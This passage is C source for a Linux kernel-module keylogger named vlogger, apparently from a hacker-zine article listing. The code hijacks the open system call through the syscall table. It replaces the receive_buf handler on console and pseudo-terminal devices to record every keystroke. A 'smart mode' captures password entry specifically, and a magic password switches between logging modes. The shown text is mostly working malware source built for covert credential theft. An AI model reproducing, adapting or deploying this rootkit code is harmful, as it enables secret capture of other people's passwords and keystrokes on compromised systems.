+ case '7':
+ append_c(tmp, "[ALT-7]", 7);
+ break;
+ case '8':
+ append_c(tmp, "[ALT-8]", 7);
+ break;
+ case '9':
+ append_c(tmp, "[ALT-9]", 7);
+ break;
+ case ';':
+ append_c(tmp, "[ALT-;]", 7);
+ break;
+ case '=':
+ append_c(tmp, "[ALT-=]", 7);
+ break;
+ case '[':
+ append_c(tmp, "[ALT-[]", 7);
+ break;
+ case '\\':
+ append_c(tmp, "[ALT-\\]", 7);
+ break;
+ case ']':
+ append_c(tmp, "[ALT-]]", 7);
+ break;
+ case '`':
+ append_c(tmp, "[ALT-`]", 7);
+ break;
+ case 'a':
+ append_c(tmp, "[ALT-A]", 7);
+ break;
+ case 'b':
+ append_c(tmp, "[ALT-B]", 7);
+ break;
+ case 'c':
+ append_c(tmp, "[ALT-C]", 7);
+ break;
+ case 'd':
+ append_c(tmp, "[ALT-D]", 7);
+ break;
+ case 'e':
+ append_c(tmp, "[ALT-E]", 7);
+ break;
+ case 'f':
+ append_c(tmp, "[ALT-F]", 7);
+ break;
+ case 'g':
+ append_c(tmp, "[ALT-G]", 7);
+ break;
+ case 'h':
+ append_c(tmp, "[ALT-H]", 7);
+ break;
+ case 'i':
+ append_c(tmp, "[ALT-I]", 7);
+ break;
+ case 'j':
+ append_c(tmp, "[ALT-J]", 7);
+ break;
+ case 'k':
+ append_c(tmp, "[ALT-K]", 7);
+ break;
+ case 'l':
+ append_c(tmp, "[ALT-L]", 7);
+ break;
+ case 'm':
+ append_c(tmp, "[ALT-M]", 7);
+ break;
+ case 'n':
+ append_c(tmp, "[ALT-N]", 7);
+ break;
+ case 'o':
+ append_c(tmp, "[ALT-O]", 7);
+ break;
+ case 'p':
+ append_c(tmp, "[ALT-P]", 7);
+ break;
+ case 'q':
+ append_c(tmp, "[ALT-Q]", 7);
+ break;
+ case 'r':
+ append_c(tmp, "[ALT-R]", 7);
+ break;
+ case 's':
+ append_c(tmp, "[ALT-S]", 7);
+ break;
+ case 't':
+ append_c(tmp, "[ALT-T]", 7);
+ break;
+ case 'u':
+ append_c(tmp, "[ALT-U]", 7);
+ break;
+ case 'v':
+ append_c(tmp, "[ALT-V]", 7);
+ break;
+ case 'x':
+ append_c(tmp, "[ALT-X]", 7);
+ break;
+ case 'y':
+ append_c(tmp, "[ALT-Y]", 7);
+ break;
+ case 'z':
+ append_c(tmp, "[ALT-Z]", 7);
+ break;
+ }
+ break;
+ case 3:
+ switch(cp[2]) {
+ case 68:
+ // Left: 27 91 68
+ append_c(tmp, "[LEFT]", 6);
+ break;
+ case 67:
+ // Right: 27 91 67
+ append_c(tmp, "[RIGHT]", 7);
+ break;
+ case 65:
+ // Up: 27 91 65
+ append_c(tmp, "[UP]", 4);
+ break;
+ case 66:
+ // Down: 27 91 66
+ append_c(tmp, "[DOWN]", 6);
+ break;
+ case 80:
+ // Pause/Break: 27 91 80
+ append_c(tmp, "[BREAK]", 7);
+ break;
+ }
+ break;
+ case 4:
+ switch(cp[3]) {
+ case 65:
+ // F1: 27 91 91 65
+ append_c(tmp, "[F1]", 4);
+ break;
+ case 66:
+ // F2: 27 91 91 66
+ append_c(tmp, "[F2]", 4);
+ break;
+ case 67:
+ // F3: 27 91 91 67
+ append_c(tmp, "[F3]", 4);
+ break;
+ case 68:
+ // F4: 27 91 91 68
+ append_c(tmp, "[F4]", 4);
+ break;
+ case 69:
+ // F5: 27 91 91 69
+ append_c(tmp, "[F5]", 4);
+ break;
+ case 126:
+ switch(cp[2]) {
+ case 53:
+ // PgUp: 27 91 53 126
+ append_c(tmp, "[PgUP]", 6);
+ break;
+ case 54:
+ // PgDown: 27 91 54 126
+ append_c(tmp,
+ "[PgDOWN]", 8);
+ break;
+ case 49:
+ // Home: 27 91 49 126
+ append_c(tmp, "[HOME]", 6);
+ break;
+ case 52:
+ // End: 27 91 52 126
+ append_c(tmp, "[END]", 5);
+ break;
+ case 50:
+ // Insert: 27 91 50 126
+ append_c(tmp, "[INS]", 5);
+ break;
+ case 51:
+ // Delete: 27 91 51 126
+ append_c(tmp, "[DEL]", 5);
+ break;
+ }
+ break;
+ }
+ break;
+ case 5:
+ if(cp[2] == 50)
+ switch(cp[3]) {
+ case 48:
+ // F9: 27 91 50 48 126
+ append_c(tmp, "[F9]", 4);
+ break;
+ case 49:
+ // F10: 27 91 50 49 126
+ append_c(tmp, "[F10]", 5);
+ break;
+ case 51:
+ // F11: 27 91 50 51 126
+ append_c(tmp, "[F11]", 5);
+ break;
+ case 52:
+ // F12: 27 91 50 52 126
+ append_c(tmp, "[F12]", 5);
+ break;
+ case 53:
+ // Shift-F1: 27 91 50 53 126
+ append_c(tmp, "[SH-F1]", 7);
+ break;
+ case 54:
+ // Shift-F2: 27 91 50 54 126
+ append_c(tmp, "[SH-F2]", 7);
+ break;
+ case 56:
+ // Shift-F3: 27 91 50 56 126
+ append_c(tmp, "[SH-F3]", 7);
+ break;
+ case 57:
+ // Shift-F4: 27 91 50 57 126
+ append_c(tmp, "[SH-F4]", 7);
+ break;
+ }
+ else
+ switch(cp[3]) {
+ case 55:
+ // F6: 27 91 49 55 126
+ append_c(tmp, "[F6]", 4);
+ break;
+ case 56:
+ // F7: 27 91 49 56 126
+ append_c(tmp, "[F7]", 4);
+ break;
+ case 57:
+ // F8: 27 91 49 57 126
+ append_c(tmp, "[F8]", 4);
+ break;
+ case 49:
+ // Shift-F5: 27 91 51 49 126
+ append_c(tmp, "[SH-F5]", 7);
+ break;
+ case 50:
+ // Shift-F6: 27 91 51 50 126
+ append_c(tmp, "[SH-F6]", 7);
+ break;
+ case 51:
+ // Shift-F7: 27 91 51 51 126
+ append_c(tmp, "[SH-F7]", 7);
+ break;
+ case 52:
+ // Shift-F8: 27 91 51 52 126
+ append_c(tmp, "[SH-F8]", 7);
+ break;
+ };
+ break;
+ default: // Unknow
+ break;
+ }
+}
+
+
+/*
+ * Called whenever user press a key
+ */
+
+void vlogger_process(struct tty_struct *tty,
+ const unsigned char *cp, int count)
+{
+ struct tlogger *tmp = ttys[TTY_INDEX(tty)];
+
+ if (!tmp) {
+ DPRINT("erm .. unknow error???\n");
+ init_tty(tty, TTY_INDEX(tty));
+ tmp = ttys[TTY_INDEX(tty)];
+ if (!tmp)
+ return;
+ }
+
+ if (vlogger_mode == VK_SMARTMODE) {
+ if (tmp->status && !IS_PASSWD(tty)) {
+ resetbuf(tmp);
+ }
+ if (!tmp->pass && IS_PASSWD(tty)) {
+ logging(tty, tmp, 0);
+ resetbuf(tmp);
+ }
+ if (tmp->pass && !IS_PASSWD(tty)) {
+ if (!tmp->lastpos)
+ logging(tty, tmp, 0);
+ resetbuf(tmp);
+ }
+ tmp->pass = IS_PASSWD(tty);
+ tmp->status = 0;
+ }
+
+ if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
+ logging(tty, tmp, 1);
+ resetbuf(tmp);
+ }
+
+ if (count == 1) {
+ if (cp[0] == VK_TOGLE_CHAR) {
+ if (!strcmp(tmp->buf, MAGIC_PASS)) {
+ if(vlogger_mode < 2)
+ vlogger_mode++;
+ else
+ vlogger_mode = 0;
+ reset_all_buf();
+
+ switch(vlogger_mode) {
+ case VK_DUMBMODE:
+ DPRINT("Dumb Mode\n");
+ TTY_WRITE(tty, "\r\n"
+ "Dumb Mode\n", 12);
+ break;
+ case VK_SMARTMODE:
+ DPRINT("Smart Mode\n");
+ TTY_WRITE(tty, "\r\n"
+ "Smart Mode\n", 13);
+ break;
+ case VK_NORMAL:
+ DPRINT("Normal Mode\n");
+ TTY_WRITE(tty, "\r\n"
+ "Normal Mode\n", 14);
+ }
+ }
+ }
+
+ switch (cp[0]) {
+ case 0x01: //^A
+ append_c(tmp, "[^A]", 4);
+ break;
+ case 0x02: //^B
+ append_c(tmp, "[^B]", 4);
+ break;
+ case 0x03: //^C
+ append_c(tmp, "[^C]", 4);
+ case 0x04: //^D
+ append_c(tmp, "[^D]", 4);
+ case 0x0D: //^M
+ case 0x0A:
+ if (vlogger_mode == VK_SMARTMODE) {
+ if (IS_PASSWD(tty)) {
+ logging(tty, tmp, 0);
+ resetbuf(tmp);
+ } else
+ tmp->status = 1;
+ } else {
+ logging(tty, tmp, 0);
+ resetbuf(tmp);
+ }
+ break;
+ case 0x05: //^E
+ append_c(tmp, "[^E]", 4);
+ break;
+ case 0x06: //^F
+ append_c(tmp, "[^F]", 4);
+ break;
+ case 0x07: //^G
+ append_c(tmp, "[^G]", 4);
+ break;
+ case 0x09: //TAB - ^I
+ append_c(tmp, "[TAB]", 5);
+ break;
+ case 0x0b: //^K
+ append_c(tmp, "[^K]", 4);
+ break;
+ case 0x0c: //^L
+ append_c(tmp, "[^L]", 4);
+ break;
+ case 0x0e: //^E
+ append_c(tmp, "[^E]", 4);
+ break;
+ case 0x0f: //^O
+ append_c(tmp, "[^O]", 4);
+ break;
+ case 0x10: //^P
+ append_c(tmp, "[^P]", 4);
+ break;
+ case 0x11: //^Q
+ append_c(tmp, "[^Q]", 4);
+ break;
+ case 0x12: //^R
+ append_c(tmp, "[^R]", 4);
+ break;
+ case 0x13: //^S
+ append_c(tmp, "[^S]", 4);
+ break;
+ case 0x14: //^T
+ append_c(tmp, "[^T]", 4);
+ break;
+ case 0x15: //CTRL-U
+ resetbuf(tmp);
+ break;
+ case 0x16: //^V
+ append_c(tmp, "[^V]", 4);
+ break;
+ case 0x17: //^W
+ append_c(tmp, "[^W]", 4);
+ break;
+ case 0x18: //^X
+ append_c(tmp, "[^X]", 4);
+ break;
+ case 0x19: //^Y
+ append_c(tmp, "[^Y]", 4);
+ break;
+ case 0x1a: //^Z
+ append_c(tmp, "[^Z]", 4);
+ break;
+ case 0x1c: //^\
+ append_c(tmp, "[^\\]", 4);
+ break;
+ case 0x1d: //^]
+ append_c(tmp, "[^]]", 4);
+ break;
+ case 0x1e: //^^
+ append_c(tmp, "[^^]", 4);
+ break;
+ case 0x1f: //^_
+ append_c(tmp, "[^_]", 4);
+ break;
+ case BACK_SPACE_CHAR1:
+ case BACK_SPACE_CHAR2:
+ if (!tmp->lastpos) break;
+ if (tmp->buf[tmp->lastpos-1] != ']')
+ tmp->buf[--tmp->lastpos] = 0;
+ else {
+ append_c(tmp, "[^H]", 4);
+ }
+ break;
+ case ESC_CHAR: //ESC
+ append_c(tmp, "[ESC]", 5);
+ break;
+ default:
+ tmp->buf[tmp->lastpos++] = cp[0];
+ tmp->buf[tmp->lastpos] = 0;
+ }
+ } else { // a block of chars or special key
+ if (cp[0] != ESC_CHAR) {
+ while (count >= MAX_BUFFER) {
+ append_c(tmp, cp, MAX_BUFFER);
+ logging(tty, tmp, 1);
+ resetbuf(tmp);
+ count -= MAX_BUFFER;
+ cp += MAX_BUFFER;
+ }
+
+ append_c(tmp, cp, count);
+ } else // special key
+ special_key(tmp, cp, count);
+ }
+}
+
+
+void my_tty_open(void)
+{
+ int fd, i;
+ char dev_name[80];
+
+#ifdef LOCAL_ONLY
+ int fl = 0;
+ struct tty_struct * tty;
+ struct file * file;
+#endif
+
+ for (i=1; i<MAX_TTY_CON; i++) {
+ snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
+
+ BEGIN_KMEM
+ fd = open(dev_name, O_RDONLY, 0);
+ if (fd < 0) continue;
+
+#ifdef LOCAL_ONLY
+ file = fget(fd);
+ tty = file->private_data;
+ if (tty != NULL &&
+ tty->ldisc.receive_buf != NULL) {
+ if (!fl) {
+ old_receive_buf =
+ tty->ldisc.receive_buf;
+ fl = 1;
+ }
+ init_tty(tty, TTY_INDEX(tty));
+ }
+ fput(file);
+#endif
+
+ close(fd);
+ END_KMEM
+ }
+
+#ifndef LOCAL_ONLY
+ for (i=0; i<MAX_PTS_CON; i++) {
+ snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
+
+ BEGIN_KMEM
+ fd = open(dev_name, O_RDONLY, 0);
+ if (fd >= 0) close(fd);
+ END_KMEM
+ }
+#endif
+
+}
+
+
+void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
+ char *fp, int count)
+{
+ if (!tty->real_raw && !tty->raw) // ignore raw mode
+ vlogger_process(tty, cp, count);
+ (*old_receive_buf)(tty, cp, fp, count);
+}
+
+
+static inline void init_tty(struct tty_struct *tty, int tty_index)
+{
+ struct tlogger *tmp;
+
+ DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
+
+ if (ttys[tty_index] == NULL) {
+ tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
+ if (!tmp) {
+ DPRINT("kmalloc failed!\n");
+ return;
+ }
+ memset(tmp, 0, sizeof(struct tlogger));
+ tmp->tty = tty;
+ tty->ldisc.receive_buf = new_receive_buf;
+ ttys[tty_index] = tmp;
+ } else {
+ tmp = ttys[tty_index];
+ logging(tty, tmp, 1);
+ resetbuf(tmp);
+ tty->ldisc.receive_buf = new_receive_buf;
+ }
+}
+
+
+asmlinkage int new_sys_open(const char *filename, int flags, int mode)
+{
+ int ret;
+ static int fl = 0;
+ struct file * file;
+
+ ret = (*original_sys_open)(filename, flags, mode);
+
+ if (ret >= 0) {
+ struct tty_struct * tty;
+
+ BEGIN_KMEM
+ lock_kernel();
+ file = fget(ret);
+ tty = file->private_data;
+
+ if (tty != NULL &&
+ ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
+ TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
+ (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
+ tty->driver.subtype == PTY_TYPE_SLAVE &&
+ TTY_NUMBER(tty) < MAX_PTS_CON)) &&
+ tty->ldisc.receive_buf != NULL &&
+ tty->ldisc.receive_buf != new_receive_buf) {
+
+ if (!fl) {
+ old_receive_buf = tty->ldisc.receive_buf;
+ fl = 1;
+ }
+ init_tty(tty, TTY_INDEX(tty));
+ }
+ fput(file);
+ unlock_kernel();
+ END_KMEM
+ }
+ return ret;
+}
+
+
+int init_module(void)
+{
+
+ DPRINT(MVERSION);
+#ifndef LOCAL_ONLY
+ original_sys_open = sys_call_table[__NR_open];
+ sys_call_table[__NR_open] = new_sys_open;
+#endif
+ my_tty_open();
+// MOD_INC_USE_COUNT;
+
+ return 0;
+}
+
+DECLARE_WAIT_QUEUE_HEAD(wq);
+
+void cleanup_module(void)
+{
+ int i;
+
+#ifndef LOCAL_ONLY
+ sys_call_table[__NR_open] = original_sys_open;
+#endif
+
+ for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
+ if (ttys[i] != NULL) {
+ ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
+ }
+ }
+ sleep_on_timeout(&wq, HZ);
+ for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
+ if (ttys[i] != NULL) {
+ kfree(ttys[i]);
+ }
+ }
+ DPRINT("Unloaded\n");
+}
+
+EXPORT_NO_SYMBOLS;
+<-->
+|=[ EOF ]=---------------------------------------------------------------=|